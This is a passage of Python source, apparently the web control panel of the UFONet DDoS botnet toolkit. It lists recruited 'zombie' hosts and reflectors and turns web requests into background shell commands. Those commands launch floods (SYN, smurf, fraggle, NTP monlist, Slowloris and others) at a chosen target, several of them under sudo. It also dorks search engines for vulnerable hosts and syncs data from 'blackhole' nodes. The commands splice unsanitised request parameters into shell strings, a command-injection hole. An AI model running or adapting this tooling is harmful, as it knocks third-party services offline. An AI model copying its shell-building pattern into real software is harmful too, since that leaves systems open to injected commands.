<u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>NTPs:</u> <b>"+self.num_ntps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ntps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ntps)+"</td><td></h3>"+'\n'.join(self.ntps)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>DNSs:</u> <b>"+self.num_dnss+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.dnss_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_dnss)+"</td><td></h3>"+'\n'.join(self.dnss)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>SNMPs:</u> <b>"+self.num_snmps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.snmps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_snmps)+"</td><td></h3>"+'\n'.join(self.snmps)+"</td></tr></table><br /><br/>"
  3723. if page == "/cmd_list_zombies":
  3724. self.pages["/cmd_list_zombies"] = "<pre><h1>Total Zombies = "+self.num_zombies+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><br/>"
  3725. if page == "/cmd_list_aliens":
  3726. self.pages["/cmd_list_aliens"] = "<pre><h1>Total Aliens = "+self.num_aliens+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><br/>"
  3727. if page == "/cmd_list_droids":
  3728. self.pages["/cmd_list_droids"] = "<pre><h1>Total Droids = "+self.num_droids+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><br/>"
  3729. if page == "/cmd_list_ucavs":
  3730. self.pages["/cmd_list_ucavs"] = "<pre><h1>Total UCAVs = "+self.num_ucavs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><br/>"
  3731. if page == "/cmd_list_rpcs":
  3732. self.pages["/cmd_list_rpcs"] = "<pre><h1>Total XML-RPCs = "+self.num_rpcs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  3733. if page == "/cmd_list_ntps":
  3734. self.pages["/cmd_list_ntps"] = "<pre><h1>Total NTPs = "+self.num_ntps+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>NTPs:</u> <b>"+self.num_ntps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ntps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ntps)+"</td><td></h3>"+'\n'.join(self.ntps)+"</td></tr></table><br /><br/>"
  3735. if page == "/cmd_list_dnss":
  3736. self.pages["/cmd_list_dnss"] = "<pre><h1>Total DNSs = "+self.num_dnss+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>DNSs:</u> <b>"+self.num_dnss+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.dnss_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_dnss)+"</td><td></h3>"+'\n'.join(self.dnss)+"</td></tr></table><br /><br/>"
  3737. if page == "/cmd_list_snmps":
  3738. self.pages["/cmd_list_snmps"] = "<pre><h1>Total SNMPs = "+self.num_snmps+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>SNMPs:</u> <b>"+self.num_snmps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.snmps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_snmps)+"</td><td></h3>"+'\n'.join(self.snmps)+"</td></tr></table><br /><br/>"
  3739. if page == "/cmd_view_army":
  3740. if pGet=={}:
  3741. self.pages["/cmd_view_army"] = self.html_army_map()
  3742. if page == "/cmd_view_attack":
  3743. if 'target' in list(pGet.keys()) != None:
  3744. self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target'])
  3745. if page == "/cmd_test_army":
  3746. self.pages["/cmd_test_army"] = "<pre>Waiting for testing results...</pre>"
  3747. runcmd = "("+python_version+" -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &"
  3748. if page == "/cmd_test_all":
  3749. self.pages["/cmd_test_all"] = "<pre>Waiting for testing results...</pre>"
  3750. runcmd = "("+python_version+" -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &"
  3751. if page == "/cmd_test_offline":
  3752. self.pages["/cmd_test_offline"] = "<pre>Waiting for testing results...</pre>"
  3753. runcmd = "("+python_version+" -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &"
  3754. if page == "/cmd_attack_me":
  3755. self.pages["/cmd_attack_me"] = "<pre>Waiting for 'attack-me' results...</pre>"
  3756. runcmd = "("+python_version+" -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &"
  3757. if page == "/cmd_attack_me_update":
  3758. if not os.path.exists('/tmp/out'):
  3759. open('/tmp/out', 'w').close()
  3760. with open('/tmp/out', 'r') as f:
  3761. self.pages["/cmd_attack_me_update"] = "<pre>"+f.read()+"<pre>"
  3762. if page == "/cmd_download_community":
  3763. self.pages["/cmd_download_community"] = "<pre>Waiting for downloading results...</pre>"
  3764. runcmd = "("+python_version+" -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &"
  3765. if page == "/cmd_download_community_update":
  3766. if not os.path.exists('/tmp/out'):
  3767. open('/tmp/out', 'w').close()
  3768. with open('/tmp/out', 'r') as f:
  3769. self.pages["/cmd_download_community_update"] = "<pre>"+f.read()+"<pre>"
  3770. if page == "/cmd_upload_community":
  3771. self.pages["/cmd_upload_community"] = "<pre>Waiting for uploading results...</pre>"
  3772. runcmd = "("+python_version+" -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &"
  3773. if page == "/cmd_upload_community_update":
  3774. if not os.path.exists('/tmp/out'):
  3775. open('/tmp/out', 'w').close()
  3776. with open('/tmp/out', 'r') as f:
  3777. self.pages["/cmd_upload_community_update"] = "<pre>"+f.read()+"<pre>"
  3778. if page == "/cmd_test_army_update":
  3779. if not os.path.exists('/tmp/out'):
  3780. open('/tmp/out', 'w').close()
  3781. with open('/tmp/out', 'r') as f:
  3782. self.pages["/cmd_test_army_update"] = "<pre>"+f.read()+"<pre>"
  3783. if page == "/cmd_test_all_update":
  3784. if not os.path.exists('/tmp/out'):
  3785. open('/tmp/out', 'w').close()
  3786. with open('/tmp/out', 'r') as f:
  3787. self.pages["/cmd_test_all_update"] = "<pre>"+f.read()+"<pre>"
  3788. if page == "/cmd_test_offline_update":
  3789. if not os.path.exists('/tmp/out'):
  3790. open('/tmp/out', 'w').close()
  3791. with open('/tmp/out', 'r') as f:
  3792. self.pages["/cmd_test_offline_update"] = "<pre>"+f.read()+"<pre>"
  3793. if page == "/cmd_test_rpcs":
  3794. self.pages["/cmd_test_rpcs"] = "<pre>Waiting for XML-RPC testing results...</pre>"
  3795. runcmd = "("+python_version+" -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
  3796. if page == "/cmd_test_rpcs_update":
  3797. if not os.path.exists('/tmp/out'):
  3798. open('/tmp/out', 'w').close()
  3799. with open('/tmp/out', 'r') as f:
  3800. self.pages["/cmd_test_rpcs_update"] = "<pre>"+f.read()+"<pre>"
  3801. if page == "/cmd_attack":
  3802. self.pages["/cmd_attack"] = "<pre>Waiting for attacking results...</pre>"
  3803. cmd = ""
  3804. flag_ufosyn = None
  3805. flag_spray = None
  3806. flag_smurf = None
  3807. flag_xmas = None
  3808. flag_nuke = None
  3809. flag_tachyon = None
  3810. flag_monlist = None
  3811. flag_fraggle = None
  3812. flag_sniper = None
  3813. flag_ufoack = None
  3814. flag_uforst = None
  3815. flag_droper = None
  3816. flag_overlap = None
  3817. flag_pinger = None
  3818. flag_ufoudp = None
  3819. nonroot_cmd = "("+python_version+" -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  3820. root_cmd = "(sudo "+python_version+" -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  3821. end_cmd = ""+cmd_options + "|tee /tmp/out) &"
  3822. if pGet["dbstress"]:
  3823. cmd += "--db '" +str(pGet["dbstress"])+ "' "
  3824. if pGet["loic"]:
  3825. cmd += "--loic '" +str(pGet["loic"])+ "' "
  3826. if pGet["loris"]:
  3827. cmd += "--loris '" +str(pGet["loris"])+ "' "
  3828. if pGet["ufosyn"]:
  3829. cmd += "--ufosyn '" +str(pGet["ufosyn"])+ "' "
  3830. flag_ufosyn = True
  3831. if pGet["spray"]:
  3832. cmd += "--spray '" +str(pGet["spray"])+ "' "
  3833. flag_spray = True
  3834. if pGet["smurf"]:
  3835. cmd += "--smurf '" +str(pGet["smurf"])+ "' "
  3836. flag_smurf = True
  3837. if pGet["xmas"]:
  3838. cmd += "--xmas '" +str(pGet["xmas"])+ "' "
  3839. flag_xmas = True
  3840. if pGet["nuke"]:
  3841. cmd += "--nuke '" +str(pGet["nuke"])+ "' "
  3842. flag_nuke = True
  3843. if pGet["tachyon"]:
  3844. cmd += "--tachyon '" +str(pGet["tachyon"])+ "' "
  3845. flag_tachyon = True
  3846. if pGet["monlist"]:
  3847. cmd += "--monlist '" +str(pGet["monlist"])+ "' "
  3848. flag_monlist = True
  3849. if pGet["fraggle"]:
  3850. cmd += "--fraggle '" +str(pGet["fraggle"])+ "' "
  3851. flag_fraggle = True
  3852. if pGet["sniper"]:
  3853. cmd += "--sniper '" +str(pGet["sniper"])+ "' "
  3854. flag_sniper = True
  3855. if pGet["ufoack"]:
  3856. cmd += "--ufoack '" +str(pGet["ufoack"])+ "' "
  3857. flag_ufoack = True
  3858. if pGet["uforst"]:
  3859. cmd += "--uforst '" +str(pGet["uforst"])+ "' "
  3860. flag_uforst = True
  3861. if pGet["droper"]:
  3862. cmd += "--droper '" +str(pGet["droper"])+ "' "
  3863. flag_droper = True
  3864. if pGet["overlap"]:
  3865. cmd += "--overlap '" +str(pGet["overlap"])+ "' "
  3866. flag_overlap = True
  3867. if pGet["pinger"]:
  3868. cmd += "--pinger '" +str(pGet["pinger"])+ "' "
  3869. flag_pinger = True
  3870. if pGet["ufoudp"]:
  3871. cmd += "--ufoudp '" +str(pGet["ufoudp"])+ "' "
  3872. flag_ufoudp = True
  3873. if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn and not flag_fraggle and not flag_sniper and not flag_ufoack and not flag_uforst and not flag_droper and not flag_overlap and not flag_pinger and not flag_ufoudp:
  3874. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  3875. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True or flag_fraggle == True or flag_sniper == True or flag_ufoack == True or flag_uforst == True or flag_droper == True or flag_overlap == True or flag_pinger == True or flag_ufoudp == True:
  3876. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST, FRAGGLE, SNIPER, UFOACK, UFORST, DROPER, OVERLAP, PINGER, UFOUDP)
  3877. runcmd = cmd + end_cmd
  3878. if page == "/cmd_attack_update":
  3879. if not os.path.exists('/tmp/out'):
  3880. open('/tmp/out', 'w').close()
  3881. with open('/tmp/out', 'r') as f:
  3882. self.pages["/cmd_attack_update"] = "<pre>"+f.read()+"<pre>"
  3883. if page == "/cmd_inspect":
  3884. self.pages["/cmd_inspect"] = "<pre>Waiting for inspecting results...</pre>"
  3885. target = pGet["target"]
  3886. target=urllib.parse.unquote(target)
  3887. runcmd = "("+python_version+" -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  3888. if page == "/cmd_inspect_update":
  3889. if not os.path.exists('/tmp/out'):
  3890. open('/tmp/out', 'w').close()
  3891. with open('/tmp/out', 'r') as f:
  3892. self.pages["/cmd_inspect_update"] = "<pre>"+f.read()+"<pre>"
  3893. if page == "/cmd_abduction":
  3894. self.pages["/cmd_abduction"] = "<pre>Waiting for abduction results...</pre>"
  3895. target = pGet["target"]
  3896. target=urllib.parse.unquote(target)
  3897. runcmd = "("+python_version+" -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  3898. if page == "/cmd_abduction_update":
  3899. if not os.path.exists('/tmp/out'):
  3900. open('/tmp/out', 'w').close()
  3901. with open('/tmp/out', 'r') as f:
  3902. self.pages["/cmd_abduction_update"] = "<pre>"+f.read()+"<pre>"
  3903. if page == "/cmd_search":
  3904. self.pages["/cmd_search"] = "<pre>Waiting for search engines results...</pre>"
  3905. if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
  3906. if pGet["all_engines"] == "on": # search using all search engines (and exclude those set by the user)
  3907. if pGet["exclude_engines"]:
  3908. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  3909. else:
  3910. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
  3911. else: # search using a search engine
  3912. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  3913. else: # search using a pattern
  3914. if pGet["autosearch"] == "on": # search using auto-search mod
  3915. if pGet["exclude_engines"]:
  3916. runcmd = "("+python_version+" -i ufonet --auto-search '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  3917. else:
  3918. runcmd = "("+python_version+" -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
  3919. else:
  3920. if pGet["all_engines"] == "on": # search using all search engines
  3921. if pGet["exclude_engines"]:
  3922. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  3923. else:
  3924. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
  3925. else: # search using a search engine
  3926. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  3927. if page == "/cmd_search_update":
  3928. if not os.path.exists('/tmp/out'):
  3929. open('/tmp/out', 'w').close()
  3930. with open('/tmp/out', 'r') as f:
  3931. self.pages["/cmd_search_update"] = "<pre>"+f.read()+"<pre>"
  3932. if page == "/cmd_refresh_blackholes":
  3933. self.pages["/cmd_refresh_blackholes"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3934. blackhole_ip = pGet["blackholes_source"]
  3935. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3936. try:
  3937. blackholes = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/nodes.dat').read().decode('utf-8')
  3938. f = open(self.blackholes, "w") # write updates to nodes.dat
  3939. f.write(blackholes)
  3940. f.close()
  3941. self.blackholes_text = blackholes
  3942. except:
  3943. blackholes = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3944. end_mark = "\n[Info] [AI] End of blackholes list (nodes.dat). -> [Refreshing!]"
  3945. f = open("/tmp/out", "w")
  3946. f.write(str(blackholes))
  3947. f.write(end_mark)
  3948. f.close()
  3949. if page == "/cmd_refresh_blackholes_update":
  3950. if not os.path.exists('/tmp/out'):
  3951. open('/tmp/out', 'w').close()
  3952. with open('/tmp/out', 'r') as f:
  3953. self.pages["/cmd_refresh_blackholes_update"] = "<pre>"+f.read()+"<pre>"
  3954. if page == "/cmd_refresh_news":
  3955. self.pages["/cmd_refresh_news"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3956. blackhole_ip = pGet["news_source"]
  3957. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3958. try:
  3959. news = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read().decode('utf-8')
  3960. f = open(self.news, "w") # write updates to news.txt
  3961. f.write(news)
  3962. f.close()
  3963. self.news_text = news
  3964. except:
  3965. news = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  3966. end_mark = "\n[Info] [AI] End of news feed. -> [Refreshing!]"
  3967. f = open("/tmp/out", "w")
  3968. f.write(str(news))
  3969. f.write(end_mark)
  3970. f.close()
  3971. if page == "/cmd_refresh_news_update":
  3972. if not os.path.exists('/tmp/out'):
  3973. open('/tmp/out', 'w').close()
  3974. with open('/tmp/out', 'r') as f:
  3975. self.pages["/cmd_refresh_news_update"] = "<pre>"+f.read()+"<pre>"
  3976. if page == "/cmd_sync_wargames":
  3977. self.pages["/cmd_sync_wargames"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3978. blackhole_ip = pGet["wargames_source"]
  3979. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3980. try:
  3981. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  3982. f = open(self.wargames_file, "w") # write updates to wargames.txt
  3983. f.write(wargames)
  3984. f.close()
  3985. self.wargames_text = wargames
  3986. except:
  3987. wargames = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3988. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3989. f = open("/tmp/out", "w")
  3990. f.write(str(wargames))
  3991. f.write(end_mark)
  3992. f.close()
  3993. if page == "/cmd_sync_wargames_update":
  3994. if not os.path.exists('/tmp/out'):
  3995. open('/tmp/out', 'w').close()
  3996. with open('/tmp/out', 'r') as f:
  3997. stream = f.read()
  3998. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  3999. self.pages["/cmd_sync_wargames_update"] = "<pre>"+stream+"<pre>"
  4000. if page == "/cmd_sync_links":
  4001. self.pages["/cmd_sync_links"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4002. blackhole_ip = pGet["link_source"]
  4003. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4004. try:
  4005. links = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/links.txt').read().decode('utf-8')
  4006. f = open(self.links_file, "w") # write updates to links.txt
  4007. f.write(links)
  4008. f.close()
  4009. self.links_text = links
  4010. except:
  4011. links = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4012. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4013. f = open("/tmp/out", "w")
  4014. f.write(str(links))
  4015. f.write(end_mark)
  4016. f.close()
  4017. if page == "/cmd_sync_links_update":
  4018. if not os.path.exists('/tmp/out'):
  4019. open('/tmp/out', 'w').close()
  4020. with open('/tmp/out', 'r') as f:
  4021. stream = f.read()
  4022. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4023. self.pages["/cmd_sync_links_update"] = "<pre>"+stream+"<pre>"
  4024. if page == "/cmd_sync_globalnet":
  4025. self.pages["/cmd_sync_globalnet"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4026. blackhole_ip = pGet["globalnet_source"]
  4027. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4028. try:
  4029. globalnet = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/globalnet.txt').read().decode('utf-8')
  4030. f = open(self.globalnet_file, "w") # write updates to globalnet.txt
  4031. f.write(globalnet)
  4032. f.close()
  4033. self.globalnet_text = globalnet
  4034. except:
  4035. globalnet = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4036. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4037. f = open("/tmp/out", "w")
  4038. f.write(str(globalnet))
  4039. f.write(end_mark)
  4040. f.close()
  4041. if page == "/cmd_sync_globalnet_update":
  4042. if not os.path.exists('/tmp/out'):
  4043. open('/tmp/out', 'w').close()
  4044. with open('/tmp/out', 'r') as f:
  4045. stream = f.read()
  4046. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4047. self.pages["/cmd_sync_globalnet_update"] = "<pre>"+stream+"<pre>"
  4048. if page == "/cmd_sync_streams":
  4049. self.pages["/cmd_sync_streams"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4050. blackhole_ip = pGet["stream_source"]
  4051. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4052. try:
  4053. streams = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/streams.txt').read().decode('utf-8')
  4054. f = open(self.streams_file, "w") # write updates to streams.txt
  4055. f.write(streams)
  4056. f.close()
  4057. self.streams_text = streams
  4058. except:
  4059. streams = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4060. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4061. f = open("/tmp/out", "w")
  4062. f.write(str(streams))
  4063. f.write(end_mark)
  4064. f.close()
  4065. if page == "/cmd_sync_streams_update":
  4066. if not os.path.exists('/tmp/out'):
  4067. open('/tmp/out', 'w').close()
  4068. with open('/tmp/out', 'r') as f:
  4069. stream = f.read()
  4070. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4071. self.pages["/cmd_sync_streams_update"] = "<pre>"+stream+"<pre>"
  4072. if page == "/cmd_refresh_missions":
  4073. self.pages["/cmd_refresh_missions"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4074. blackhole_ip = pGet["missions_source"]
  4075. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4076. try:
  4077. missions = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read().decode('utf-8')
  4078. f = open(self.missions, "w") # write updates to missions.txt
  4079. f.write(missions)
  4080. f.close()
  4081. self.missions_text = missions
  4082. except:
  4083. missions = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4084. end_mark = "\n[Info] [AI] End of missions feed. -> [Refreshing!]"
  4085. f = open("/tmp/out", "w")
  4086. f.write(str(missions))
  4087. f.write(end_mark)
  4088. f.close()
  4089. if page == "/cmd_refresh_missions_update":
  4090. if not os.path.exists('/tmp/out'):
  4091. open('/tmp/out', 'w').close()
  4092. with open('/tmp/out', 'r') as f:
  4093. self.pages["/cmd_refresh_missions_update"] = "<pre>"+f.read()+"<pre>"
  4094. if page == "/cmd_refresh_ranking":
  4095. self.pages["/cmd_refresh_ranking"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4096. ranking_ip = pGet["ranking_source"]
  4097. ranking_ip = urllib.parse.unquote(ranking_ip)
  4098. try:
  4099. ranking = urllib.request.urlopen('http://'+ranking_ip+'/ufonet/grid.txt').read().decode('utf-8')
  4100. f = open(self.grid_file, "w") # write updates to grid.txt
  4101. f.write(ranking)
  4102. f.close()
  4103. self.ranking_text = ranking
  4104. except:
  4105. ranking = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4106. end_mark = "\n[Info] [AI] End of ranking feed. -> [Refreshing!]"
  4107. f = open("/tmp/out", "w")
  4108. f.write(str(ranking))
  4109. f.write(end_mark)
  4110. f.close()
  4111. if page == "/cmd_refresh_ranking_update":
  4112. if not os.path.exists('/tmp/out'):
  4113. open('/tmp/out', 'w').close()
  4114. with open('/tmp/out', 'r') as f:
  4115. self.pages["/cmd_refresh_ranking_update"] = "<pre>"+f.read()+"<pre>"
  4116. if page == "/cmd_sync_grid":
  4117. self.pages["/cmd_sync_grid"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4118. blackhole_ip = pGet["grid_source"]
  4119. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4120. try:
  4121. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  4122. f = open(self.grid_file, "w") # write updates to grid.txt
  4123. f.write(grid)
  4124. f.close()
  4125. self.grid_text = grid
  4126. except:
  4127. grid = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4128. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4129. f = open("/tmp/out", "w")
  4130. f.write(str(grid))
  4131. f.write(end_mark)
  4132. f.close()
  4133. if page == "/cmd_sync_grid_update":
  4134. if not os.path.exists('/tmp/out'):
  4135. open('/tmp/out', 'w').close()
  4136. with open('/tmp/out', 'r') as f:
  4137. stream = f.read()
  4138. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4139. self.pages["/cmd_sync_grid_update"] = "<pre>"+stream+"<pre>"
  4140. if page == "/cmd_job_remove":
  4141. self.pages["/cmd_job_remove"] = "<pre>Removing wargame from your list...</pre>"
  4142. try:
  4143. job_id = pGet["id"]
  4144. except:
  4145. job_id = ""
  4146. if job_id is not "":
  4147. self.list_wargames.reverse()
  4148. try:
  4149. job_task = self.list_wargames[(int(job_id)-1)]
  4150. f = open(self.wargames_file,"r")
  4151. ls = f.readlines()
  4152. f.close()
  4153. f = open(self.wargames_file,"w")
  4154. for l in ls:
  4155. if str(l) != str(job_task):
  4156. f.write(l)
  4157. f.close()
  4158. except:
  4159. pass
  4160. if page == "/cmd_job_remove_update":
  4161. if not os.path.exists('/tmp/out'):
  4162. open('/tmp/out', 'w').close()
  4163. with open('/tmp/out', 'r') as f:
  4164. self.pages["/cmd_job_remove_update"] = "<pre>"+f.read()+"<pre>"
  4165. if page == "/cmd_job_remove_all":
  4166. self.pages["/cmd_job_remove_all"] = "<pre>Purging ALL -CLOSED- wargames from your list...</pre>"
  4167. try:
  4168. key_params = pGet["key"]
  4169. sep = ","
  4170. key = key_params.rsplit(sep, 1)[0]
  4171. except:
  4172. key = ""
  4173. if key is not "":
  4174. try:
  4175. self.list_wargames.reverse()
  4176. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  4177. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  4178. f = open(self.wargames_file,"r")
  4179. ls = f.readlines()
  4180. f.close()
  4181. f = open(self.wargames_file,"w")
  4182. sep = wargames_msg_sep
  4183. for l in ls:
  4184. job_estimated = l.rsplit(sep, 1)[1]
  4185. self.decrypt(key, job_estimated)
  4186. if self.decryptedtext:
  4187. job_estimated = self.decryptedtext
  4188. else:
  4189. job_estimated = now
  4190. self.decryptedtext = ""
  4191. job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S")
  4192. if (now >= job_estimated) == False: # -ONGOING-
  4193. f.write(l)
  4194. f.close()
  4195. except:
  4196. pass
  4197. if page == "/cmd_job_remove_all_update":
  4198. if not os.path.exists('/tmp/out'):
  4199. open('/tmp/out', 'w').close()
  4200. with open('/tmp/out', 'r') as f:
  4201. self.pages["/cmd_job_remove_all_update"] = "<pre>"+f.read()+"<pre>"
  4202. if page == "/cmd_edit_supply":
  4203. self.pages["/cmd_edit_supply"] = "<pre>Changing 'Global Army Supply' configuration...</pre>"
  4204. try:
  4205. supply_botnet = pGet["botnet"]
  4206. supply_loic = pGet["loic"]
  4207. supply_loris = pGet["loris"]
  4208. supply_ufosyn = pGet["ufosyn"]
  4209. supply_spray = pGet["spray"]
  4210. supply_smurf = pGet["smurf"]
  4211. supply_xmas = pGet["xmas"]
  4212. supply_nuke = pGet["nuke"]
  4213. supply_tachyon = pGet["tachyon"]
  4214. supply_monlist = pGet["monlist"]
  4215. supply_fraggle = pGet["fraggle"]
